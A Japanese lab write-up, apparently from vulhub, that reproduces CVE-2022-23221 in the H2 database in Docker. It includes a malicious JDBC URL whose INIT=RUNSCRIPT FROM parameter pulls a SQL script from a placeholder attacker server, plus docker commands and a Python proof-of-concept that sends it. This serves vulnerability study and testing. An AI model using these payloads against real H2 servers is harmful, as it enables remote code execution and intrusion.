
vulhub/H2-database/CVE-2022-23221
H2はリレーショナルデータベース管理システムであり、SQLエンジン内でJavaコードを直接コンパイルし実行できる機能を提供する。
H2ドライバはJDBC URLをパースしてアプリケーションとデータベース間の接続を確立する。このとき、URLに含まれる設定パラメータを介してデータベースの初期状態や動作を制御できる。
問題となるH2 2.1.210以前のバージョンでは、JDBC URLのINITパラメータを介してリモートSQLスクリプトを実行できるという問題がある。攻撃者はこれを悪用して細工されたSQLスクリプトをリモートから注入し、その内部の構文を介してシステムコマンドを実行することで、CVE-2022-23221の脆弱性が引き起こされる。
この脆弱性の特徴は以下の通りである。
脆弱性の影響範囲
IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker-ip/attacker-file.sql'が含まれていること。
IGNORE_UNKNOWN_SETTINGS=TRUEFORBID_CREATION=FALSEINIT=RUNSCRIPT FROM 'http://attacker-ip/attacker-file.sql' -> アプリケーションとDB接続時に自動実行されるSQLコマンド
CREATE ALIAS SQL構文が含まれていること。
CREATE ALIAS構文は、H2がDB内でスクリプト内のJava関数を実行させるようにし、結果としてRCEが発生する。シナリオ
id、whoami、pwdの実行結果が出力されれば、これは脆弱なH2環境が構成され、H2が悪意のあるJDBC URLをパースする過程で外部のattackerサーバからexploit.sqlファイルがリモートでダウンロードされ実行されたことを意味する。環境構成
docker compose up -d

http://your-ip:8082tcp://your-ip:9092http://your-ip:8000 : exploit.sqlファイルを提供環境構成後、http://your-ip:8082 にアクセスするとH2のWebページが表示される。
: Webコンソールではセキュリティポリシーが適用されているため、脆弱性の条件となるパラメータがフィルタリングされる可能性があるので、悪意のあるパラメータを含むJDBC URLをCLIを介して直接入力して脆弱性を再現し、その結果を確認する。
正常JDBC URL: "jdbc:h2:mem:test"
正常リクエストコマンド
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
-url "jdbc:h2:mem:test" \
-user sa \
-password ""
実行結果

悪意のあるJDBC URLをH2ドライバに入力してattackerサーバとの接続を試みる。このときURLを入力する方法は2つある。
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
-url "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'" \
-user sa \
-password ""
python3 poc.py

H2はJDBC URLのINITパラメータに指定されたINIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'に従ってattackerサーバにexploit.sqlファイルをリクエスト(HTTP GET)し、それをH2データベース内で実行する。
docker logs attackerを実行すると、h2-vulnerableサーバからのexploit.sqlファイルリクエストログを確認できる。docker logs attacker

#!/usr/bin/env python3
# 目的: CVE-2022-23221 H2 Database RCE の状況を再現する。
# 過程: 検証回避パラメータとJavaコマンドを含むJDBC URLをH2に送信し、リモートコード実行攻撃を実行する。
import subprocess
import time
import sys
"""
関数名: exploit_h2()
機能: H2 DBに悪意のあるJDBC URLを渡して攻撃を実行する。
戻り値: True->攻撃成功、False->攻撃失敗
"""
def exploit_h2():
# H2サーバの準備待機
time.sleep(3)
# 検証回避パラメータを含むJDBC URL
# IGNORE_UNKNOWN_SETTINGS=TRUE: H2の入力検証を回避する
# FORBID_CREATION=FALSE: リモートDB作成に対する警告を削除する
# INIT=RUNSCRIPT FROM: 接続(開始)時にリモートSQLスクリプトを実行する
jdbc_url = "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"
try:
# H2 Shellを介して悪意のあるJDBC URLで接続
cmd = [
'docker', 'exec', 'h2-vulnerable',
'java', '-cp', '/h2-bin/h2.jar',
'org.h2.tools.Shell',
'-url', jdbc_url,
'-user', 'sa',
'-password', ''
]
# Dockerコマンド実行と結果取得
result = subprocess.run(
cmd,
capture_output=True,
text=True,
timeout=15
)
return True
except Exception as e:
print(f"[-] エラー: {e}")
return False
"""
関数名: main()
機能: 攻撃を実行し、攻撃成功/失敗を出力する。
戻り値: なし
"""
def main():
if exploit_h2():
print("[+] 攻撃完了")
else:
print("[-] 攻撃失敗")
sys.exit(1)
if __name__ == "__main__":
main()
exploit.sqlファイルの実行結果として、h2-vulnerableサーバのログに"EXPLOITED"文字列とともにコマンドid、whoami、pwdの実行結果が出力される。
docker logs h2-vulnerableでログを確認できる。
docker logs h2-vulnerable

=> これは脆弱なH2環境が構成され、H2が悪意のあるJDBC URLをパースする過程でファイルのリモートダウンロードと実行が成功したことを意味する。